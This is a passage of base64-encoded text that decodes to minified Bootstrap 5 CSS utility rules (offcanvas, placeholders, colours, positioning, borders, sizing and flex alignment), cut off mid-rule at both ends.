hbnZhcy1iYWNrZHJvcHtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7ei1pbmRleDoxMDQwO3dpZHRoOjEwMHZ3O2hlaWdodDoxMDB2aDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDB9Lm9mZmNhbnZhcy1iYWNrZHJvcC5mYWRle29wYWNpdHk6MH0ub2ZmY2FudmFzLWJhY2tkcm9wLnNob3d7b3BhY2l0eTouNX0ub2ZmY2FudmFzLWhlYWRlcntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO3BhZGRpbmc6dmFyKC0tYnMtb2ZmY2FudmFzLXBhZGRpbmcteSkgdmFyKC0tYnMtb2ZmY2FudmFzLXBhZGRpbmcteCl9Lm9mZmNhbnZhcy1oZWFkZXIgLmJ0bi1jbG9zZXtwYWRkaW5nOmNhbGModmFyKC0tYnMtb2ZmY2FudmFzLXBhZGRpbmcteSkgKiAuNSkgY2FsYyh2YXIoLS1icy1vZmZjYW52YXMtcGFkZGluZy14KSAqIC41KTttYXJnaW4tdG9wOmNhbGMoLS41ICogdmFyKC0tYnMtb2ZmY2FudmFzLXBhZGRpbmcteSkpO21hcmdpbi1yaWdodDpjYWxjKC0uNSAqIHZhcigtLWJzLW9mZmNhbnZhcy1wYWRkaW5nLXgpKTttYXJnaW4tYm90dG9tOmNhbGMoLS41ICogdmFyKC0tYnMtb2ZmY2FudmFzLXBhZGRpbmcteSkpfS5vZmZjYW52YXMtdGl0bGV7bWFyZ2luLWJvdHRvbTowO2xpbmUtaGVpZ2h0OjEuNX0ub2ZmY2FudmFzLWJvZHl7ZmxleC1ncm93OjE7cGFkZGluZzp2YXIoLS1icy1vZmZjYW52YXMtcGFkZGluZy15KSB2YXIoLS1icy1vZmZjYW52YXMtcGFkZGluZy14KTtvdmVyZmxvdy15OmF1dG99LnBsYWNlaG9sZGVye2Rpc3BsYXk6aW5saW5lLWJsb2NrO21pbi1oZWlnaHQ6MWVtO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtjdXJzb3I6d2FpdDtiYWNrZ3JvdW5kLWNvbG9yOmN1cnJlbnRjb2xvcjtvcGFjaXR5Oi41fS5wbGFjZWhvbGRlci5idG46OmJlZm9yZXtkaXNwbGF5OmlubGluZS1ibG9jaztjb250ZW50OiIifS5wbGFjZWhvbGRlci14c3ttaW4taGVpZ2h0Oi42ZW19LnBsYWNlaG9sZGVyLXNte21pbi1oZWlnaHQ6LjhlbX0ucGxhY2Vob2xkZXItbGd7bWluLWhlaWdodDoxLjJlbX0ucGxhY2Vob2xkZXItZ2xvdyAucGxhY2Vob2xkZXJ7YW5pbWF0aW9uOnBsYWNlaG9sZGVyLWdsb3cgMnMgZWFzZS1pbi1vdXQgaW5maW5pdGV9QGtleWZyYW1lcyBwbGFjZWhvbGRlci1nbG93ezUwJXtvcGFjaXR5Oi4yfX0ucGxhY2Vob2xkZXItd2F2ZXstd2Via2l0LW1hc2staW1hZ2U6bGluZWFyLWdyYWRpZW50KDEzMGRlZywjMDAwIDU1JSxyZ2JhKDAsMCwwLDAuOCkgNzUlLCMwMDAgOTUlKTttYXNrLWltYWdlOmxpbmVhci1ncmFkaWVudCgxMzBkZWcsIzAwMCA1NSUscmdiYSgwLDAsMCwwLjgpIDc1JSwjMDAwIDk1JSk7LXdlYmtpdC1tYXNrLXNpemU6MjAwJSAxMDAlO21hc2stc2l6ZToyMDAlIDEwMCU7YW5pbWF0aW9uOnBsYWNlaG9sZGVyLXdhdmUgMnMgbGluZWFyIGluZmluaXRlfUBrZXlmcmFtZXMgcGxhY2Vob2xkZXItd2F2ZXsxMDAley13ZWJraXQtbWFzay1wb3NpdGlvbjotMjAwJSAwJTttYXNrLXBvc2l0aW9uOi0yMDAlIDAlfX0uY2xlYXJmaXg6OmFmdGVye2Rpc3BsYXk6YmxvY2s7Y2xlYXI6Ym90aDtjb250ZW50OiIifS50ZXh0LWJnLXByaW1hcnl7Y29sb3I6I2ZmZiFpbXBvcnRhbnQ7YmFja2dyb3VuZC1jb2xvcjpSR0JBKDEzLDExMCwyNTMsdmFyKC0tYnMtYmctb3BhY2l0eSwxKSkhaW1wb3J0YW50fS50ZXh0LWJnLXNlY29uZGFyeXtjb2xvcjojZmZmIWltcG9ydGFudDtiYWNrZ3JvdW5kLWNvbG9yOlJHQkEoMTA4LDExNywxMjUsdmFyKC0tYnMtYmctb3BhY2l0eSwxKSkhaW1wb3J0YW50fS50ZXh0LWJnLXN1Y2Nlc3N7Y29sb3I6I2ZmZiFpbXBvcnRhbnQ7YmFja2dyb3VuZC1jb2xvcjpSR0JBKDI1LDEzNSw4NCx2YXIoLS1icy1iZy1vcGFjaXR5LDEpKSFpbXBvcnRhbnR9LnRleHQtYmctaW5mb3tjb2xvcjojMDAwIWltcG9ydGFudDtiYWNrZ3JvdW5kLWNvbG9yOlJHQkEoMTMsMjAyLDI0MCx2YXIoLS1icy1iZy1vcGFjaXR5LDEpKSFpbXBvcnRhbnR9LnRleHQtYmctd2FybmluZ3tjb2xvcjojMDAwIWltcG9ydGFudDtiYWNrZ3JvdW5kLWNvbG9yOlJHQkEoMjU1LDE5Myw3LHZhcigtLWJzLWJnLW9wYWNpdHksMSkpIWltcG9ydGFudH0udGV4dC1iZy1kYW5nZXJ7Y29sb3I6I2ZmZiFpbXBvcnRhbnQ7YmFja2dyb3VuZC1jb2xvcjpSR0JBKDIyMCw1Myw2OSx2YXIoLS1icy1iZy1vcGFjaXR5LDEpKSFpbXBvcnRhbnR9LnRleHQtYmctbGlnaHR7Y29sb3I6IzAwMCFpbXBvcnRhbnQ7YmFja2dyb3VuZC1jb2xvcjpSR0JBKDI0OCwyNDksMjUwLHZhcigtLWJzLWJnLW9wYWNpdHksMSkpIWltcG9ydGFudH0udGV4dC1iZy1kYXJre2NvbG9yOiNmZmYhaW1wb3J0YW50O2JhY2tncm91bmQtY29sb3I6UkdCQSgzMywzNyw0MSx2YXIoLS1icy1iZy1vcGFjaXR5LDEpKSFpbXBvcnRhbnR9LmxpbmstcHJpbWFyeXtjb2xvcjojMGQ2ZWZkIWltcG9ydGFudH0ubGluay1wcmltYXJ5OmZvY3VzLC5saW5rLXByaW1hcnk6aG92ZXJ7Y29sb3I6IzBhNThjYSFpbXBvcnRhbnR9Lmxpbmstc2Vjb25kYXJ5e2NvbG9yOiM2Yzc1N2QhaW1wb3J0YW50fS5saW5rLXNlY29uZGFyeTpmb2N1cywubGluay1zZWNvbmRhcnk6aG92ZXJ7Y29sb3I6IzU2NWU2NCFpbXBvcnRhbnR9Lmxpbmstc3VjY2Vzc3tjb2xvcjojMTk4NzU0IWltcG9ydGFudH0ubGluay1zdWNjZXNzOmZvY3VzLC5saW5rLXN1Y2Nlc3M6aG92ZXJ7Y29sb3I6IzE0NmM0MyFpbXBvcnRhbnR9LmxpbmstaW5mb3tjb2xvcjojMGRjYWYwIWltcG9ydGFudH0ubGluay1pbmZvOmZvY3VzLC5saW5rLWluZm86aG92ZXJ7Y29sb3I6IzNkZDVmMyFpbXBvcnRhbnR9Lmxpbmstd2FybmluZ3tjb2xvcjojZmZjMTA3IWltcG9ydGFudH0ubGluay13YXJuaW5nOmZvY3VzLC5saW5rLXdhcm5pbmc6aG92ZXJ7Y29sb3I6I2ZmY2QzOSFpbXBvcnRhbnR9LmxpbmstZGFuZ2Vye2NvbG9yOiNkYzM1NDUhaW1wb3J0YW50fS5saW5rLWRhbmdlcjpmb2N1cywubGluay1kYW5nZXI6aG92ZXJ7Y29sb3I6I2IwMmEzNyFpbXBvcnRhbnR9LmxpbmstbGlnaHR7Y29sb3I6I2Y4ZjlmYSFpbXBvcnRhbnR9LmxpbmstbGlnaHQ6Zm9jdXMsLmxpbmstbGlnaHQ6aG92ZXJ7Y29sb3I6I2Y5ZmFmYiFpbXBvcnRhbnR9LmxpbmstZGFya3tjb2xvcjojMjEyNTI5IWltcG9ydGFudH0ubGluay1kYXJrOmZvY3VzLC5saW5rLWRhcms6aG92ZXJ7Y29sb3I6IzFhMWUyMSFpbXBvcnRhbnR9LnJhdGlve3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCV9LnJhdGlvOjpiZWZvcmV7ZGlzcGxheTpibG9jaztwYWRkaW5nLXRvcDp2YXIoLS1icy1hc3BlY3QtcmF0aW8pO2NvbnRlbnQ6IiJ9LnJhdGlvPip7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCV9LnJhdGlvLTF4MXstLWJzLWFzcGVjdC1yYXRpbzoxMDAlfS5yYXRpby00eDN7LS1icy1hc3BlY3QtcmF0aW86NzUlfS5yYXRpby0xNng5ey0tYnMtYXNwZWN0LXJhdGlvOjU2LjI1JX0ucmF0aW8tMjF4OXstLWJzLWFzcGVjdC1yYXRpbzo0Mi44NTcxNDI4NTcxJX0uZml4ZWQtdG9we3Bvc2l0aW9uOmZpeGVkO3RvcDowO3JpZ2h0OjA7bGVmdDowO3otaW5kZXg6MTAzMH0uZml4ZWQtYm90dG9te3Bvc2l0aW9uOmZpeGVkO3JpZ2h0OjA7Ym90dG9tOjA7bGVmdDowO3otaW5kZXg6MTAzMH0uc3RpY2t5LXRvcHtwb3NpdGlvbjotd2Via2l0LXN0aWNreTtwb3NpdGlvbjpzdGlja3k7dG9wOjA7ei1pbmRleDoxMDIwfS5zdGlja3ktYm90dG9te3Bvc2l0aW9uOi13ZWJraXQtc3RpY2t5O3Bvc2l0aW9uOnN0aWNreTtib3R0b206MDt6LWluZGV4OjEwMjB9QG1lZGlhIChtaW4td2lkdGg6NTc2cHgpey5zdGlja3ktc20tdG9we3Bvc2l0aW9uOi13ZWJraXQtc3RpY2t5O3Bvc2l0aW9uOnN0aWNreTt0b3A6MDt6LWluZGV4OjEwMjB9LnN0aWNreS1zbS1ib3R0b217cG9zaXRpb246LXdlYmtpdC1zdGlja3k7cG9zaXRpb246c3RpY2t5O2JvdHRvbTowO3otaW5kZXg6MTAyMH19QG1lZGlhIChtaW4td2lkdGg6NzY4cHgpey5zdGlja3ktbWQtdG9we3Bvc2l0aW9uOi13ZWJraXQtc3RpY2t5O3Bvc2l0aW9uOnN0aWNreTt0b3A6MDt6LWluZGV4OjEwMjB9LnN0aWNreS1tZC1ib3R0b217cG9zaXRpb246LXdlYmtpdC1zdGlja3k7cG9zaXRpb246c3RpY2t5O2JvdHRvbTowO3otaW5kZXg6MTAyMH19QG1lZGlhIChtaW4td2lkdGg6OTkycHgpey5zdGlja3ktbGctdG9we3Bvc2l0aW9uOi13ZWJraXQtc3RpY2t5O3Bvc2l0aW9uOnN0aWNreTt0b3A6MDt6LWluZGV4OjEwMjB9LnN0aWNreS1sZy1ib3R0b217cG9zaXRpb246LXdlYmtpdC1zdGlja3k7cG9zaXRpb246c3RpY2t5O2JvdHRvbTowO3otaW5kZXg6MTAyMH19QG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsuc3RpY2t5LXhsLXRvcHtwb3NpdGlvbjotd2Via2l0LXN0aWNreTtwb3NpdGlvbjpzdGlja3k7dG9wOjA7ei1pbmRleDoxMDIwfS5zdGlja3kteGwtYm90dG9te3Bvc2l0aW9uOi13ZWJraXQtc3RpY2t5O3Bvc2l0aW9uOnN0aWNreTtib3R0b206MDt6LWluZGV4OjEwMjB9fUBtZWRpYSAobWluLXdpZHRoOjE0MDBweCl7LnN0aWNreS14eGwtdG9we3Bvc2l0aW9uOi13ZWJraXQtc3RpY2t5O3Bvc2l0aW9uOnN0aWNreTt0b3A6MDt6LWluZGV4OjEwMjB9LnN0aWNreS14eGwtYm90dG9te3Bvc2l0aW9uOi13ZWJraXQtc3RpY2t5O3Bvc2l0aW9uOnN0aWNreTtib3R0b206MDt6LWluZGV4OjEwMjB9fS5oc3RhY2t7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOnJvdzthbGlnbi1pdGVtczpjZW50ZXI7YWxpZ24tc2VsZjpzdHJldGNofS52c3RhY2t7ZGlzcGxheTpmbGV4O2ZsZXg6MSAxIGF1dG87ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLXNlbGY6c3RyZXRjaH0udmlzdWFsbHktaGlkZGVuLC52aXN1YWxseS1oaWRkZW4tZm9jdXNhYmxlOm5vdCg6Zm9jdXMpOm5vdCg6Zm9jdXMtd2l0aGluKXtwb3NpdGlvbjphYnNvbHV0ZSFpbXBvcnRhbnQ7d2lkdGg6MXB4IWltcG9ydGFudDtoZWlnaHQ6MXB4IWltcG9ydGFudDtwYWRkaW5nOjAhaW1wb3J0YW50O21hcmdpbjotMXB4IWltcG9ydGFudDtvdmVyZmxvdzpoaWRkZW4haW1wb3J0YW50O2NsaXA6cmVjdCgwLDAsMCwwKSFpbXBvcnRhbnQ7d2hpdGUtc3BhY2U6bm93cmFwIWltcG9ydGFudDtib3JkZXI6MCFpbXBvcnRhbnR9LnN0cmV0Y2hlZC1saW5rOjphZnRlcntwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtyaWdodDowO2JvdHRvbTowO2xlZnQ6MDt6LWluZGV4OjE7Y29udGVudDoiIn0udGV4dC10cnVuY2F0ZXtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXB9LnZye2Rpc3BsYXk6aW5saW5lLWJsb2NrO2FsaWduLXNlbGY6c3RyZXRjaDt3aWR0aDoxcHg7bWluLWhlaWdodDoxZW07YmFja2dyb3VuZC1jb2xvcjpjdXJyZW50Y29sb3I7b3BhY2l0eTouMjV9LmFsaWduLWJhc2VsaW5le3ZlcnRpY2FsLWFsaWduOmJhc2VsaW5lIWltcG9ydGFudH0uYWxpZ24tdG9we3ZlcnRpY2FsLWFsaWduOnRvcCFpbXBvcnRhbnR9LmFsaWduLW1pZGRsZXt2ZXJ0aWNhbC1hbGlnbjptaWRkbGUhaW1wb3J0YW50fS5hbGlnbi1ib3R0b217dmVydGljYWwtYWxpZ246Ym90dG9tIWltcG9ydGFudH0uYWxpZ24tdGV4dC1ib3R0b217dmVydGljYWwtYWxpZ246dGV4dC1ib3R0b20haW1wb3J0YW50fS5hbGlnbi10ZXh0LXRvcHt2ZXJ0aWNhbC1hbGlnbjp0ZXh0LXRvcCFpbXBvcnRhbnR9LmZsb2F0LXN0YXJ0e2Zsb2F0OmxlZnQhaW1wb3J0YW50fS5mbG9hdC1lbmR7ZmxvYXQ6cmlnaHQhaW1wb3J0YW50fS5mbG9hdC1ub25le2Zsb2F0Om5vbmUhaW1wb3J0YW50fS5vcGFjaXR5LTB7b3BhY2l0eTowIWltcG9ydGFudH0ub3BhY2l0eS0yNXtvcGFjaXR5Oi4yNSFpbXBvcnRhbnR9Lm9wYWNpdHktNTB7b3BhY2l0eTouNSFpbXBvcnRhbnR9Lm9wYWNpdHktNzV7b3BhY2l0eTouNzUhaW1wb3J0YW50fS5vcGFjaXR5LTEwMHtvcGFjaXR5OjEhaW1wb3J0YW50fS5vdmVyZmxvdy1hdXRve292ZXJmbG93OmF1dG8haW1wb3J0YW50fS5vdmVyZmxvdy1oaWRkZW57b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudH0ub3ZlcmZsb3ctdmlzaWJsZXtvdmVyZmxvdzp2aXNpYmxlIWltcG9ydGFudH0ub3ZlcmZsb3ctc2Nyb2xse292ZXJmbG93OnNjcm9sbCFpbXBvcnRhbnR9LmQtaW5saW5le2Rpc3BsYXk6aW5saW5lIWltcG9ydGFudH0uZC1pbmxpbmUtYmxvY2t7ZGlzcGxheTppbmxpbmUtYmxvY2shaW1wb3J0YW50fS5kLWJsb2Nre2Rpc3BsYXk6YmxvY2shaW1wb3J0YW50fS5kLWdyaWR7ZGlzcGxheTpncmlkIWltcG9ydGFudH0uZC10YWJsZXtkaXNwbGF5OnRhYmxlIWltcG9ydGFudH0uZC10YWJsZS1yb3d7ZGlzcGxheTp0YWJsZS1yb3chaW1wb3J0YW50fS5kLXRhYmxlLWNlbGx7ZGlzcGxheTp0YWJsZS1jZWxsIWltcG9ydGFudH0uZC1mbGV4e2Rpc3BsYXk6ZmxleCFpbXBvcnRhbnR9LmQtaW5saW5lLWZsZXh7ZGlzcGxheTppbmxpbmUtZmxleCFpbXBvcnRhbnR9LmQtbm9uZXtkaXNwbGF5Om5vbmUhaW1wb3J0YW50fS5zaGFkb3d7Ym94LXNoYWRvdzowIC41cmVtIDFyZW0gcmdiYSgwLDAsMCwuMTUpIWltcG9ydGFudH0uc2hhZG93LXNte2JveC1zaGFkb3c6MCAuMTI1cmVtIC4yNXJlbSByZ2JhKDAsMCwwLC4wNzUpIWltcG9ydGFudH0uc2hhZG93LWxne2JveC1zaGFkb3c6MCAxcmVtIDNyZW0gcmdiYSgwLDAsMCwuMTc1KSFpbXBvcnRhbnR9LnNoYWRvdy1ub25le2JveC1zaGFkb3c6bm9uZSFpbXBvcnRhbnR9LnBvc2l0aW9uLXN0YXRpY3twb3NpdGlvbjpzdGF0aWMhaW1wb3J0YW50fS5wb3NpdGlvbi1yZWxhdGl2ZXtwb3NpdGlvbjpyZWxhdGl2ZSFpbXBvcnRhbnR9LnBvc2l0aW9uLWFic29sdXRle3Bvc2l0aW9uOmFic29sdXRlIWltcG9ydGFudH0ucG9zaXRpb24tZml4ZWR7cG9zaXRpb246Zml4ZWQhaW1wb3J0YW50fS5wb3NpdGlvbi1zdGlja3l7cG9zaXRpb246LXdlYmtpdC1zdGlja3khaW1wb3J0YW50O3Bvc2l0aW9uOnN0aWNreSFpbXBvcnRhbnR9LnRvcC0we3RvcDowIWltcG9ydGFudH0udG9wLTUwe3RvcDo1MCUhaW1wb3J0YW50fS50b3AtMTAwe3RvcDoxMDAlIWltcG9ydGFudH0uYm90dG9tLTB7Ym90dG9tOjAhaW1wb3J0YW50fS5ib3R0b20tNTB7Ym90dG9tOjUwJSFpbXBvcnRhbnR9LmJvdHRvbS0xMDB7Ym90dG9tOjEwMCUhaW1wb3J0YW50fS5zdGFydC0we2xlZnQ6MCFpbXBvcnRhbnR9LnN0YXJ0LTUwe2xlZnQ6NTAlIWltcG9ydGFudH0uc3RhcnQtMTAwe2xlZnQ6MTAwJSFpbXBvcnRhbnR9LmVuZC0we3JpZ2h0OjAhaW1wb3J0YW50fS5lbmQtNTB7cmlnaHQ6NTAlIWltcG9ydGFudH0uZW5kLTEwMHtyaWdodDoxMDAlIWltcG9ydGFudH0udHJhbnNsYXRlLW1pZGRsZXt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSkhaW1wb3J0YW50fS50cmFuc2xhdGUtbWlkZGxlLXh7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTUwJSkhaW1wb3J0YW50fS50cmFuc2xhdGUtbWlkZGxlLXl7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTUwJSkhaW1wb3J0YW50fS5ib3JkZXJ7Ym9yZGVyOnZhcigtLWJzLWJvcmRlci13aWR0aCkgdmFyKC0tYnMtYm9yZGVyLXN0eWxlKSB2YXIoLS1icy1ib3JkZXItY29sb3IpIWltcG9ydGFudH0uYm9yZGVyLTB7Ym9yZGVyOjAhaW1wb3J0YW50fS5ib3JkZXItdG9we2JvcmRlci10b3A6dmFyKC0tYnMtYm9yZGVyLXdpZHRoKSB2YXIoLS1icy1ib3JkZXItc3R5bGUpIHZhcigtLWJzLWJvcmRlci1jb2xvcikhaW1wb3J0YW50fS5ib3JkZXItdG9wLTB7Ym9yZGVyLXRvcDowIWltcG9ydGFudH0uYm9yZGVyLWVuZHtib3JkZXItcmlnaHQ6dmFyKC0tYnMtYm9yZGVyLXdpZHRoKSB2YXIoLS1icy1ib3JkZXItc3R5bGUpIHZhcigtLWJzLWJvcmRlci1jb2xvcikhaW1wb3J0YW50fS5ib3JkZXItZW5kLTB7Ym9yZGVyLXJpZ2h0OjAhaW1wb3J0YW50fS5ib3JkZXItYm90dG9te2JvcmRlci1ib3R0b206dmFyKC0tYnMtYm9yZGVyLXdpZHRoKSB2YXIoLS1icy1ib3JkZXItc3R5bGUpIHZhcigtLWJzLWJvcmRlci1jb2xvcikhaW1wb3J0YW50fS5ib3JkZXItYm90dG9tLTB7Ym9yZGVyLWJvdHRvbTowIWltcG9ydGFudH0uYm9yZGVyLXN0YXJ0e2JvcmRlci1sZWZ0OnZhcigtLWJzLWJvcmRlci13aWR0aCkgdmFyKC0tYnMtYm9yZGVyLXN0eWxlKSB2YXIoLS1icy1ib3JkZXItY29sb3IpIWltcG9ydGFudH0uYm9yZGVyLXN0YXJ0LTB7Ym9yZGVyLWxlZnQ6MCFpbXBvcnRhbnR9LmJvcmRlci1wcmltYXJ5ey0tYnMtYm9yZGVyLW9wYWNpdHk6MTtib3JkZXItY29sb3I6cmdiYSh2YXIoLS1icy1wcmltYXJ5LXJnYiksdmFyKC0tYnMtYm9yZGVyLW9wYWNpdHkpKSFpbXBvcnRhbnR9LmJvcmRlci1zZWNvbmRhcnl7LS1icy1ib3JkZXItb3BhY2l0eToxO2JvcmRlci1jb2xvcjpyZ2JhKHZhcigtLWJzLXNlY29uZGFyeS1yZ2IpLHZhcigtLWJzLWJvcmRlci1vcGFjaXR5KSkhaW1wb3J0YW50fS5ib3JkZXItc3VjY2Vzc3stLWJzLWJvcmRlci1vcGFjaXR5OjE7Ym9yZGVyLWNvbG9yOnJnYmEodmFyKC0tYnMtc3VjY2Vzcy1yZ2IpLHZhcigtLWJzLWJvcmRlci1vcGFjaXR5KSkhaW1wb3J0YW50fS5ib3JkZXItaW5mb3stLWJzLWJvcmRlci1vcGFjaXR5OjE7Ym9yZGVyLWNvbG9yOnJnYmEodmFyKC0tYnMtaW5mby1yZ2IpLHZhcigtLWJzLWJvcmRlci1vcGFjaXR5KSkhaW1wb3J0YW50fS5ib3JkZXItd2FybmluZ3stLWJzLWJvcmRlci1vcGFjaXR5OjE7Ym9yZGVyLWNvbG9yOnJnYmEodmFyKC0tYnMtd2FybmluZy1yZ2IpLHZhcigtLWJzLWJvcmRlci1vcGFjaXR5KSkhaW1wb3J0YW50fS5ib3JkZXItZGFuZ2Vyey0tYnMtYm9yZGVyLW9wYWNpdHk6MTtib3JkZXItY29sb3I6cmdiYSh2YXIoLS1icy1kYW5nZXItcmdiKSx2YXIoLS1icy1ib3JkZXItb3BhY2l0eSkpIWltcG9ydGFudH0uYm9yZGVyLWxpZ2h0ey0tYnMtYm9yZGVyLW9wYWNpdHk6MTtib3JkZXItY29sb3I6cmdiYSh2YXIoLS1icy1saWdodC1yZ2IpLHZhcigtLWJzLWJvcmRlci1vcGFjaXR5KSkhaW1wb3J0YW50fS5ib3JkZXItZGFya3stLWJzLWJvcmRlci1vcGFjaXR5OjE7Ym9yZGVyLWNvbG9yOnJnYmEodmFyKC0tYnMtZGFyay1yZ2IpLHZhcigtLWJzLWJvcmRlci1vcGFjaXR5KSkhaW1wb3J0YW50fS5ib3JkZXItd2hpdGV7LS1icy1ib3JkZXItb3BhY2l0eToxO2JvcmRlci1jb2xvcjpyZ2JhKHZhcigtLWJzLXdoaXRlLXJnYiksdmFyKC0tYnMtYm9yZGVyLW9wYWNpdHkpKSFpbXBvcnRhbnR9LmJvcmRlci0xey0tYnMtYm9yZGVyLXdpZHRoOjFweH0uYm9yZGVyLTJ7LS1icy1ib3JkZXItd2lkdGg6MnB4fS5ib3JkZXItM3stLWJzLWJvcmRlci13aWR0aDozcHh9LmJvcmRlci00ey0tYnMtYm9yZGVyLXdpZHRoOjRweH0uYm9yZGVyLTV7LS1icy1ib3JkZXItd2lkdGg6NXB4fS5ib3JkZXItb3BhY2l0eS0xMHstLWJzLWJvcmRlci1vcGFjaXR5OjAuMX0uYm9yZGVyLW9wYWNpdHktMjV7LS1icy1ib3JkZXItb3BhY2l0eTowLjI1fS5ib3JkZXItb3BhY2l0eS01MHstLWJzLWJvcmRlci1vcGFjaXR5OjAuNX0uYm9yZGVyLW9wYWNpdHktNzV7LS1icy1ib3JkZXItb3BhY2l0eTowLjc1fS5ib3JkZXItb3BhY2l0eS0xMDB7LS1icy1ib3JkZXItb3BhY2l0eToxfS53LTI1e3dpZHRoOjI1JSFpbXBvcnRhbnR9LnctNTB7d2lkdGg6NTAlIWltcG9ydGFudH0udy03NXt3aWR0aDo3NSUhaW1wb3J0YW50fS53LTEwMHt3aWR0aDoxMDAlIWltcG9ydGFudH0udy1hdXRve3dpZHRoOmF1dG8haW1wb3J0YW50fS5tdy0xMDB7bWF4LXdpZHRoOjEwMCUhaW1wb3J0YW50fS52dy0xMDB7d2lkdGg6MTAwdnchaW1wb3J0YW50fS5taW4tdnctMTAwe21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnR9LmgtMjV7aGVpZ2h0OjI1JSFpbXBvcnRhbnR9LmgtNTB7aGVpZ2h0OjUwJSFpbXBvcnRhbnR9LmgtNzV7aGVpZ2h0Ojc1JSFpbXBvcnRhbnR9LmgtMTAwe2hlaWdodDoxMDAlIWltcG9ydGFudH0uaC1hdXRve2hlaWdodDphdXRvIWltcG9ydGFudH0ubWgtMTAwe21heC1oZWlnaHQ6MTAwJSFpbXBvcnRhbnR9LnZoLTEwMHtoZWlnaHQ6MTAwdmghaW1wb3J0YW50fS5taW4tdmgtMTAwe21pbi1oZWlnaHQ6MTAwdmghaW1wb3J0YW50fS5mbGV4LWZpbGx7ZmxleDoxIDEgYXV0byFpbXBvcnRhbnR9LmZsZXgtcm93e2ZsZXgtZGlyZWN0aW9uOnJvdyFpbXBvcnRhbnR9LmZsZXgtY29sdW1ue2ZsZXgtZGlyZWN0aW9uOmNvbHVtbiFpbXBvcnRhbnR9LmZsZXgtcm93LXJldmVyc2V7ZmxleC1kaXJlY3Rpb246cm93LXJldmVyc2UhaW1wb3J0YW50fS5mbGV4LWNvbHVtbi1yZXZlcnNle2ZsZXgtZGlyZWN0aW9uOmNvbHVtbi1yZXZlcnNlIWltcG9ydGFudH0uZmxleC1ncm93LTB7ZmxleC1ncm93OjAhaW1wb3J0YW50fS5mbGV4LWdyb3ctMXtmbGV4LWdyb3c6MSFpbXBvcnRhbnR9LmZsZXgtc2hyaW5rLTB7ZmxleC1zaHJpbms6MCFpbXBvcnRhbnR9LmZsZXgtc2hyaW5rLTF7ZmxleC1zaHJpbms6MSFpbXBvcnRhbnR9LmZsZXgtd3JhcHtmbGV4LXdyYXA6d3JhcCFpbXBvcnRhbnR9LmZsZXgtbm93cmFwe2ZsZXgtd3JhcDpub3dyYXAhaW1wb3J0YW50fS5mbGV4LXdyYXAtcmV2ZXJzZXtmbGV4LXdyYXA6d3JhcC1yZXZlcnNlIWltcG9ydGFudH0uanVzdGlmeS1jb250ZW50LXN0YXJ0e2p1c3RpZnktY29udGVudDpmbGV4LXN0YXJ0IWltcG9ydGFudH0uanVzdGlmeS1jb250ZW50LWVuZHtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQhaW1wb3J0YW50fS5qdXN0aWZ5LWNvbnRlbnQtY2VudGVye2p1c3RpZnktY29udGVudDpjZW50ZXIhaW1wb3J0YW50fS5qdXN0aWZ5LWNvbnRlbnQtYmV0d2VlbntqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbiFpbXBvcnRhbnR9Lmp1c3RpZnktY29udGVudC1hcm91bmR7anVzdGlmeS1jb250ZW50OnNwYWNlLWFyb3VuZCFpbXBvcnRhbnR9Lmp1c3RpZnktY29udGVudC1ldmVubHl7anVzdGlmeS1jb250ZW50OnNwYWNlLWV2ZW5seSFpbXBvcnRhbnR9LmFsaWduLWl0ZW1zLXN0YXJ0e2FsaWduLWl0ZW1zOmZsZXgtc3RhcnQhaW1wb3J0YW50fS5hbGlnbi1pdGVtcy1lbmR7YWxpZ24taXRlbXM6ZmxleC1lbmQhaW1wb3J0YW50fS5hbGlnbi1pdGVtcy1jZW50ZXJ7YWxpZ24taXRlbXM6Y2VudGVyIWltcG9ydGFudH0uYWxpZ24taXRlbXMtYmFzZWxpbmV7YWxpZ24taXRlbXM6YmFzZWxpbmUhaW1wb3J0YW50fS5hbGlnbi1pdGVtcy1zdHJldGNoe2FsaWduLWl0ZW1zOnN0cmV0Y2ghaW1wb3J0YW50fS5hbGlnbi1jb250ZW50LXN0YXJ0e2FsaWduLWNvbnRlbnQ6ZmxleC1zdGFydCFpbXBvcnRhbnR9LmFsaWduLWNvbnRlbnQtZW5ke2FsaWduLWNvbnRlbnQ6ZmxleC1lbmQhaW1wb3J0YW50fS5hbGlnbi1jb250ZW50LWNlbnRlcnthbGlnbi1jb250ZW50OmNlbnRlciFpbXBvcnRhbnR9LmFsaWduLWNvbnRlbnQtYmV0d2VlbnthbGlnbi1jb250ZW50OnNwYWNlLWJldHdlZW4haW1wb3J0YW50fS5hbGlnbi1jb250ZW50LWFyb3VuZHthbGlnbi1jb250ZW50OnNwYWNlLWFyb3VuZCFpbXBvcnRhbnR9LmFsaWduLWNvbnRlbnQtc3RyZXRjaHthbGlnbi1jb250ZW50OnN0cmV0Y2ghaW1wb3J0YW50fS5hbGlnbi1zZWxmLWF1dG97YWxpZ24tc2VsZjphdXRvIWltcG9ydGFudH0uYWxpZ24tc2VsZi1zdGFydHthbGlnbi1zZWxmOmZsZXgtc3RhcnQhaW1wb3J0YW50fS5hbGlnbi1zZWxmLWVuZHthbGlnbi1zZWxmOmZsZXgtZW5kIWltcG9ydGFudH0uYWxpZ24tc2VsZi1jZW50ZXJ7YWxpZ24tc2VsZjpjZW50ZXIhaW1wb3J0YW50fS5hbGlnbi1zZWxmLWJhc2VsaW5le2FsaWduLXNlbGY6